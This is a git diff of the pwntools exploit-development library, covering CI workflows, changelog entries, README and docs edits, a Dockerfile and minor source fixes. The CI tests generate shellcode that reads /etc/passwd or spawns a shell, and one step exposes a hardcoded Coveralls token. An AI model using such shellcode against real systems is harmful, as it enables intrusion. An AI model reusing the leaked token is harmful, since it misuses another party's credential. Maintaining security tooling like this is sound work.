sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
ash bash-static dash ksh mksh zsh \
pandoc gdb socat sshpass \
pandoc gdb gdbserver socat sshpass \
binutils-multiarch qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
binutils-mips-linux-gnu \
binutils-powerpc-linux-gnu \
binutils-sparc64-linux-gnu \
gcc-multilib \
openjdk-8-jre-headless
sudo apt-get install -y -o Acquire::Retries=3 \
gcc-aarch64-linux-gnu \
gcc-arm-linux-gnueabihf
libc6-dbg \
$ANDROID_JRE
- name: Install android avd
if: steps.cache-deps.outputs.cache-hit != 'true'
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash;) || true
- name: Install Android AVD
if: steps.java-needed.outputs.need
run: |
USER=travis source travis/install.sh
adb emu kill
set | egrep '^(ANDROID|PATH)' >android-sdk/.android.env
set | egrep '^(ANDROID|PATH)' >.android.env
- name: Set up SSH
run: |
chmod og-rw ~ # see https://stackoverflow.com/a/60367309/3869724
ssh-keygen -t ed25519 -f ~/.ssh/pwntools-ci -N ''
cat > ~/.ssh/config <<EOF
Host example.pwnme
User $USER
HostName 127.0.0.1
IdentityFile ~/.ssh/pwntools-ci
EOF
echo -n 'from="127.0.0.1" ' | cat - ~/.ssh/pwntools-ci.pub > ~/.ssh/authorized_keys
ssh -o 'StrictHostKeyChecking no' example.pwnme id
travis/ssh_setup.sh
- name: Install dependencies
run: |
@@ -85,34 +110,121 @@ jobs:
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Manually install non-broken Unicorn
run: pip install unicorn==1.0.2rc3
- name: Version Check
run: PWNLIB_NOTERM=1 pwn version
- name: Coverage doctests
run: |
source android-sdk/.android.env
android-sdk/emulator/emulator -avd android-$ANDROID_ABI -no-window -no-boot-anim -read-only -no-audio -no-window -no-snapshot &
adb wait-for-device
source .android.env || :
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
- name: Coverage running examples
run: |
export TERM=linux
set -x
python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py
python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
coverage run examples/asm.py
coverage run examples/asm.py
coverage run examples/text.py
# for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
- name: Coverage running commandline tools
run: |
export TERM=linux
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
set -x
pwn cyclic 32
pwn cyclic -l 0x62616161
pwn cyclic -a ab
echo
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
pwn shellcraft -fp aarch64.trap
pwn disasm --color ff3424c3ebfe
pwn asm -f hex nop
pwn hex abcd
pwn unhex 4141 4141
cat /dev/urandom | pwn phd --color -c 256 -s 2
pwn phd -l 0x3d --color=always /etc/os-release
pwn checksec /bin/bash
pwn errno 2
pwn errno -1
pwn errno EADDRINUSE
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
pwn constgrep ^MAP_ 0
pwn constgrep -e O_RDWR
- name: Build source and wheel distributions
run: |
python setup.py sdist
python setup.py bdist_wheel --universal
- uses: actions/upload-artifact@v2-preview
- uses: actions/upload-artifact@v2
with:
path: dist/*
name: packages
path: dist/
- name: Upload coverage to coveralls.io
run: |
coverage combine
COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
staging-merge:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 20
- name: Push changes to protected branch
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
BRANCH=${GITHUB_REF#refs/heads/}
TARGET=${BRANCH%-staging}
git branch -f "$TARGET"
git push origin "$TARGET"
git push origin --delete "$BRANCH"
pypi:
runs-on: ubuntu-latest
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v2
with:
name: packages
path: dist
- name: Publish package
uses: pypa/[email protected]
with:
user: __token__
password: ${{ secrets.pypi_password }}
- if: failure()
run: ls -R
+35
View File
@@ -0,0 +1,35 @@
name: Lint
on: [push, pull_request]
jobs:
lint:
strategy:
matrix:
python-version: [3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Critical lint
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk # TODO: Add F82
- name: Style lint
run: |
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
+28
View File
@@ -0,0 +1,28 @@
name: Check for merge markers
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
mergecheck:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check for merge conflict markers commited
run: |
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
echo 'WARNING: Merge marker commits found in history.'
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
echo 'ERROR: Merge markers still present! Do something!'
exit 1
fi
else
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
fi
+2 -2
View File
@@ -2,7 +2,6 @@ language: python
addons:
apt:
packages:
- gcc-multilib
- lib32stdc++6
- ash
- bash
@@ -21,6 +20,8 @@ addons:
- binutils-arm-linux-gnueabihf
- binutils-mips-linux-gnu
- binutils-powerpc-linux-gnu
- binutils-sparc64-linux-gnu
- bash-static
cache:
- pip
- directories:
@@ -54,7 +55,6 @@ script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
- PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
- coverage combine
after_success:
+167 -43
View File
@@ -9,12 +9,21 @@ The table below shows which release corresponds to each branch, and what date th
| Version | Branch | Release Date |
| ---------------- | -------- | ---------------------- |
| [4.3.0](#430) | `dev` | Jun 30, 2020 (planned)
| [4.2.0](#420) | `beta` | May 30, 2020 (planned)
| [4.1.0](#410) | `stable` | May 8, 2020
| [4.5.0](#450) | `dev` | Dec 20, 2020 (planned)
| [4.4.0](#440) | `beta` | Nov 20, 2020 (planned)
| [4.3.0](#430) | `stable` | Oct 20, 2020
| [4.2.0](#420) | | Jul 3, 2020
| [4.1.7](#417) | | Jun 30, 2020
| [4.1.5](#415) | | Jun 27, 2020
| [4.1.4](#414) | | Jun 26, 2020
| [4.1.3](#413) | | Jun 23, 2020
| [4.1.2](#412) | | Jun 5, 2020
| [4.1.1](#411) | | Jun 3, 2020
| [4.1.0](#410) | | May 8, 2020
| [4.0.1](#401) | | Jan 22, 2020
| [4.0.0](#400) | | Jan 09, 2020
| [3.13.0](#3130) | | Nov 5, 2019
| [3.12.2](#3122) | | Jan 8, 2019
| [3.12.1](#3121) | | Sept 17, 2018
| [3.12.0](#3120) | | Feb 22, 2018
| [3.11.0](#3110) | | Jan 3, 2018
@@ -47,23 +56,135 @@ The table below shows which release corresponds to each branch, and what date th
| [3.0.0](#300) | | Aug 20, 2016
| [2.2.0](#220) | | Jan 5, 2015
## 4.3.0 (`dev`)
## 4.5.0 (`dev`)
To be released on Jun 30, 2020.
## 4.4.0 (`beta`)
## 4.2.0 (`beta`)
- [#1541][1541] Use `context.newline` for tubes by default
- [#1602][1602] Fix bytes handling in ssh tubes
- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
- [#1632][1632] Enable usage of Pwntools in jupyter
- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
- [#1651][1651] Make `pwn shellcraft` faster
- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
- Fix syscall instruction lists for SROP on `i386` and `amd64`
- Fix migration to another ROP
- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
- [#1678][1678] ROPGadget multibr
- [#1682][1682] ROPGadget multibr fix
- [#1687][1687] Actually import `requests` when doing `from pwn import *`
- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
- [#1692][1692] Remove python2 shebangs where appropriate
- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
To be released on May 30, 2020.
[1541]: https://github.com/Gallopsled/pwntools/pull/1541
[1602]: https://github.com/Gallopsled/pwntools/pull/1602
[1606]: https://github.com/Gallopsled/pwntools/pull/1606
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
[1632]: https://github.com/Gallopsled/pwntools/pull/1632
[1633]: https://github.com/Gallopsled/pwntools/pull/1633
[1644]: https://github.com/Gallopsled/pwntools/pull/1644
[1651]: https://github.com/Gallopsled/pwntools/pull/1651
[1654]: https://github.com/Gallopsled/pwntools/pull/1654
[1667]: https://github.com/Gallopsled/pwntools/pull/1667
[1673]: https://github.com/Gallopsled/pwntools/pull/1673
[1675]: https://github.com/Gallopsled/pwntools/pull/1675
[1678]: https://github.com/Gallopsled/pwntools/pull/1678
[1682]: https://github.com/Gallopsled/pwntools/pull/1679
[1687]: https://github.com/Gallopsled/pwntools/pull/1687
[1688]: https://github.com/Gallopsled/pwntools/pull/1688
[1692]: https://github.com/Gallopsled/pwntools/pull/1692
[1703]: https://github.com/Gallopsled/pwntools/pull/1703
- #1436 Add ret2dlresolve automation
## 4.3.0 (`stable`)
- [#1576][1576] Add `executable=` argument to `ELF.search`
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
- [#1592][1592] Fix over-verbose logging of process() environment
- [#1593][1593] Colorize output of `pwn template`
- [#1601][1601] Add `pwn version` command line tool
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
- [#1613][1613] Permit `--password` for `pwn template`
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
- [#1621][1621] Permit negative values in flat() and fit()
[1576]: https://github.com/Gallopsled/pwntools/pull/1576
[1584]: https://github.com/Gallopsled/pwntools/pull/1584
[1592]: https://github.com/Gallopsled/pwntools/pull/1592
[1593]: https://github.com/Gallopsled/pwntools/pull/1593
[1601]: https://github.com/Gallopsled/pwntools/pull/1601
[1605]: https://github.com/Gallopsled/pwntools/pull/1605
[1613]: https://github.com/Gallopsled/pwntools/pull/1613
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
[1564]: https://github.com/Gallopsled/pwntools/pull/1564
[1621]: https://github.com/Gallopsled/pwntools/pull/1621
## 4.2.1
- [#1625][1625] GDB now properly loads executables with QEMU
- [#1663][1663] Change lookup algorithm of `adb.which`
- [#1699][1699] Fix broken linux shellcraft templates
[1625]: https://github.com/Gallopsled/pwntools/pull/1625
[1699]: https://github.com/Gallopsled/pwntools/pull/1699
## 4.2.0
- [#1436][1436] Add ret2dlresolve automation
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
- #1454 Support for windows console colors
- [#1454][1454] Support for windows console colors
[fecf9f]: http://github.com/Gallopsled/pwntols/commit/fecf9f
[1436]: https://github.com/Gallopsled/pwntools/pull/1436
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.7 (`stable`)
## 4.1.0 (`stable`)
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.5
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
[1517]: https://github.com/Gallopsled/pwntools/pull/1517
## 4.1.4
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
[1609]: https://github.com/Gallopsled/pwntools/pull/1609
## 4.1.3
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
- Also fix `run_in_new_terminal` for Py2 unicode strings
- [#1595][1595] Fix ssh.process(timeout=)
[1590]: https://github.com/Gallopsled/pwntools/pull/1590
[1595]: https://github.com/Gallopsled/pwntools/pull/1595
## 4.1.2
- Pwntools requires `six` v.1.12.0 or higher
## 4.1.1
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
- Fix wrong ELF/context unpack handling (c4c11a37)
- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
- Update Corefile warnings and replace asserts with normal checks (#1526)
- several py2-py3 issues (#1451)
- Fix cyclic command
## 4.1.0
- [#1316][1316] Fix connect shellcraft in python 3
- [#1323][1323] Fix issues related with debugging
@@ -72,15 +193,19 @@ To be released on May 30, 2020.
- [#1241][1241] Launch QEMU with sysroot if specified
- [#1218][1218] Support for FileStructure exploitation
[1241]: https://github.com/Gallopsled/pwntools/pulls/1218
[1218]: https://github.com/Gallopsled/pwntools/pulls/1218
[1316]: https://github.com/Gallopsled/pwntools/pull/1316
[1323]: https://github.com/Gallopsled/pwntools/pull/1323
[1001]: https://github.com/Gallopsled/pwntools/pull/1001
[1389]: https://github.com/Gallopsled/pwntools/pull/1389
[1241]: https://github.com/Gallopsled/pwntools/pull/1241
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
## 4.0.1
- [#1412][1412] `recvline_pred()` and similar do not reorder data
- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
[1412]: https://github.com/Gallopsled/pwntools/pulls/1412
[1412]: https://github.com/Gallopsled/pwntools/pull/1412
## 4.0.0
@@ -94,12 +219,13 @@ To be released on May 30, 2020.
- [#1202][1202] Docker: Kill 14 layers in pwntools base images
- [#1182][1182] shellcraft.dupio() for mips
[1391]: https://github.com/Gallopsled/pwntools/pulls/1391
[1317]: https://github.com/Gallopsled/pwntools/pulls/1317
[1285]: https://github.com/Gallopsled/pwntools/pulls/1285
[1216]: https://github.com/Gallopsled/pwntools/pulls/1216
[1202]: https://github.com/Gallopsled/pwntools/pulls/1202
[1182]: https://github.com/Gallopsled/pwntools/pulls/1182
[1402]: https://github.com/Gallopsled/pwntools/pull/1402
[1391]: https://github.com/Gallopsled/pwntools/pull/1391
[1317]: https://github.com/Gallopsled/pwntools/pull/1317
[1285]: https://github.com/Gallopsled/pwntools/pull/1285
[1216]: https://github.com/Gallopsled/pwntools/pull/1216
[1202]: https://github.com/Gallopsled/pwntools/pull/1202
[1182]: https://github.com/Gallopsled/pwntools/pull/1182
[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
## 3.13.0
@@ -110,32 +236,16 @@ To be released on May 30, 2020.
- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
- [#1292][1292] Provide correct arch name to gdb for sparc64
[1175]: https://github.com/Gallopsled/pwntools/pulls/1175
[1204]: https://github.com/Gallopsled/pwntools/pulls/1355
[1277]: https://github.com/Gallopsled/pwntools/pulls/1277
[1292]: https://github.com/Gallopsled/pwntools/pulls/1292
[1355]: https://github.com/Gallopsled/pwntools/pulls/1355
## 3.12.1
- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
- [5fdc08][5fdc08] Work around broken `pidof` on Android
- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
- [#1094][1094] Make hexdump output alignment more consistent
- [#1096][1096] `flat()` and `fit()` are now the same function
[1104]: https://github.com/Gallopsled/pwntools/pull/1104
[1101]: https://github.com/Gallopsled/pwntools/pull/1101
[1094]: https://github.com/Gallopsled/pwntools/pull/1094
[1096]: https://github.com/Gallopsled/pwntools/pull/1096
[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
[1175]: https://github.com/Gallopsled/pwntools/pull/1175
[1204]: https://github.com/Gallopsled/pwntools/pull/1204
[1277]: https://github.com/Gallopsled/pwntools/pull/1277
[1292]: https://github.com/Gallopsled/pwntools/pull/1292
[1355]: https://github.com/Gallopsled/pwntools/pull/1355
## 3.12.2
- [1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
- [1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
[1242]: https://github.com/Gallopsled/pwntools/pull/1242
[1243]: https://github.com/Gallopsled/pwntools/pull/1243
@@ -153,7 +263,15 @@ To be released on May 30, 2020.
- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
- [#1125][1125] Fix a typo
- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
- [5fdc08][5fdc08] Work around broken `pidof` on Android
- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
- [#1094][1094] Make hexdump output alignment more consistent
- [#1096][1096] `flat()` and `fit()` are now the same function
[1198]: https://github.com/Gallopsled/pwntools/pull/1198
[1191]: https://github.com/Gallopsled/pwntools/pull/1191
[1159]: https://github.com/Gallopsled/pwntools/pull/1159
[1162]: https://github.com/Gallopsled/pwntools/pull/1162
[1150]: https://github.com/Gallopsled/pwntools/pull/1150
@@ -163,6 +281,12 @@ To be released on May 30, 2020.
[1131]: https://github.com/Gallopsled/pwntools/pull/1131
[1125]: https://github.com/Gallopsled/pwntools/pull/1125
[1121]: https://github.com/Gallopsled/pwntools/pull/1121
[1104]: https://github.com/Gallopsled/pwntools/pull/1104
[1101]: https://github.com/Gallopsled/pwntools/pull/1101
[1094]: https://github.com/Gallopsled/pwntools/pull/1094
[1096]: https://github.com/Gallopsled/pwntools/pull/1096
[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
## 3.12.0
+7 -10
View File
@@ -1,12 +1,13 @@
# pwntools - CTF toolkit
![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![Travis](https://img.shields.io/travis/Gallopsled/pwntools/dev?logo=Travis)](https://travis-ci.org/Gallopsled/pwntools)
![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/Gallopsled/pwntools/Continuous%20Integration/dev?logo=GitHub)
[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
@@ -20,10 +21,6 @@ r.send(asm(shellcraft.sh()))
r.interactive()
```
# Try It Now!
You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
# Documentation
Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
@@ -32,7 +29,7 @@ To get you started, we've provided some example solutions for past CTF challenge
# Installation
Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
Pwntools is best supported on 64-bit Ubuntu LTE releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
@@ -40,7 +37,7 @@ Most of the functionality of pwntools is self-contained and Python-only. You sh
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
python3 -m pip install --upgrade pwntools
```
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
+1 -1
View File
@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
importing :mod:`pwnlib` or any of the submodules should have any significant
side-effects (besides e.g. caching).
For the most part, you will also only get the bits you import. You for instance
For the most part, you will also only get the bits you import. You for instance would
not get access to :mod:`pwnlib.util.packing` simply by doing ``import
pwnlib.util``.
+4 -8
View File
@@ -88,6 +88,9 @@ class stdout(object):
def __setattr__(self, name, value):
return setattr(sys.stdout, name, value)
pwnlib.context.ContextType.defaults['log_console'] = stdout()
github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
'''
autoclass_content = 'both'
@@ -337,7 +340,7 @@ def linkcode_resolve(domain, info):
val = mod
for k in info['fullname'].split('.'):
val = getattr(val, k, None)
if val == None:
if val is None:
break
# Special case for shellcraft
@@ -407,13 +410,6 @@ def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
checker = Py2OutputChecker()
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
class EndlessLoop(Exception): pass
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
if 'doctest' in sys.argv:
def setup(app):
app.connect('autodoc-skip-member', dont_skip_any_doctests)
+3 -3
View File
@@ -25,9 +25,9 @@ pwntools is available as a ``pip`` package.
.. code-block:: bash
$ apt-get update
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Development
--------------
+1 -1
View File
@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
.. code-block:: bash
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
Alternate OSes
^^^^^^^^^^^^^^^^
+16 -16
View File
@@ -17,19 +17,19 @@
count ,
cycle ,
dropwhile ,
filter ,
filterfalse ,
groupby ,
ifilter ,
ifilterfalse ,
imap ,
islice ,
izip ,
izip_longest ,
map ,
permutations ,
product ,
repeat ,
starmap ,
takewhile ,
tee
tee ,
zip ,
zip_longest
.. function:: chain
@@ -63,29 +63,29 @@
Alias for :func:`itertools.groupby`
.. function:: ifilter
.. function:: filter
Alias for :func:`itertools.ifilter`
Alias for python3-style :func:`filter`
.. function:: ifilterfalse
.. function:: filterfalse
Alias for :func:`itertools.ifilterfalse`
Alias for :func:`itertools.filterfalse`
.. function:: imap
.. function:: map
Alias for :func:`itertools.imap`
Alias for python3-style :func:`map`
.. function:: islice
Alias for :func:`itertools.islice`
.. function:: izip
.. function:: zip
Alias for :func:`itertools.izip`
Alias for python3-style :func:`zip`
.. function:: izip_longest
.. function:: zip_longest
Alias for :func:`itertools.izip_longest`
Alias for :func:`itertools.zip_longest`
.. function:: permutations
+9
View File
@@ -36,5 +36,14 @@ print(shell.echo("single string"))
print(shell.echo(["list","of","strings"]))
print(shell["echo single statement"])
# ssh.process() is the most flexible way to run a command)
io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'],
env={'FOO': 'World'}, # Set environment
stderr='/dev/null', # Override file descriptors
aslr=False, # Disable ASLR on processes
setuid=False, # Disable setuid bit so processes can be debugged
shell=False) # Enable or disable shell evaluation
print(io.recvall())
# Show off the interactive shell
shell.interactive()
+1 -1
View File
@@ -1 +1 @@
xenial
bionic
+26
View File
@@ -0,0 +1,26 @@
############################################################
# Dockerfile to build Pwntools container
# Based on Ubuntu
############################################################
FROM ubuntu:bionic
MAINTAINER Maintainer Gallopsled et al.
RUN apt-get update \
&& apt-get install -y \
build-essential \
git \
libssl-dev \
libffi-dev \
python2.7 \
python-pip \
python-dev \
&& pip install --upgrade pip \
&& python -m pip install --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& apt-get install -y sudo \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
USER pwntools
WORKDIR /home/pwntools
+1 -1
View File
@@ -80,4 +80,4 @@ info = log.info
debug = log.debug
success = log.success
__all__ = [x for x in globals().keys() if x != '__name__']
__all__ = [x for x in tuple(globals()) if x != '__name__']
+6 -4
View File
@@ -827,10 +827,12 @@ def which(name, all = False, *a, **kw):
"""
# Unfortunately, there is no native 'which' on many phones.
which_cmd = '''
echo $PATH | while read -d: directory; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
(IFS=:
for directory in $PATH; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
)
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name=name)
+2 -1
View File
@@ -4,6 +4,7 @@ from __future__ import division
import ctypes
import io
import os
import six
import sys
from pwnlib.log import getLogger
@@ -64,7 +65,7 @@ class BootloaderImage(object):
Returns:
Contents of the image.
"""
if isinstance(index_or_name, int):
if isinstance(index_or_name, six.integer_types):
index = index_or_name
else:
for i in range(len(self.img_info)):
+29 -14
View File
@@ -167,6 +167,9 @@ def which_binutils(util):
'i386': ['x86_64', 'amd64'],
'i686': ['x86_64', 'amd64'],
'amd64': ['x86_64', 'i386'],
'mips64': ['mips'],
'powerpc64': ['powerpc'],
'sparc64': ['sparc'],
}.get(arch, [])
# If one of the candidate architectures matches the native
@@ -190,16 +193,18 @@ def which_binutils(util):
for gutil in utils:
# e.g. objdump
if arch is None:
pattern = gutil
patterns = [gutil]
# e.g. aarch64-linux-gnu-objdump
# e.g. aarch64-linux-gnu-objdump, avr-objdump
else:
pattern = '%s*linux*-%s' % (arch,gutil)
patterns = ['%s*linux*-%s' % (arch, gutil),
'%s-%s' % (arch, gutil)]
for dir in environ['PATH'].split(':'):
res = sorted(glob(path.join(dir, pattern)))
if res:
return res[0]
for pattern in patterns:
for dir in environ['PATH'].split(':'):
res = sorted(glob(path.join(dir, pattern)))
if res:
return res[0]
# No dice!
print_binutils_instructions(util, context)
@@ -245,9 +250,9 @@ def _assembler():
stderr=subprocess.STDOUT, universal_newlines=True)
version = re.search(r' (\d\.\d+)', result).group(1)
if version < '2.19':
log.warn_once('Your binutils version is too old and may not work!\n' + \
'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' + \
'Reported Version: %r' % result.strip())
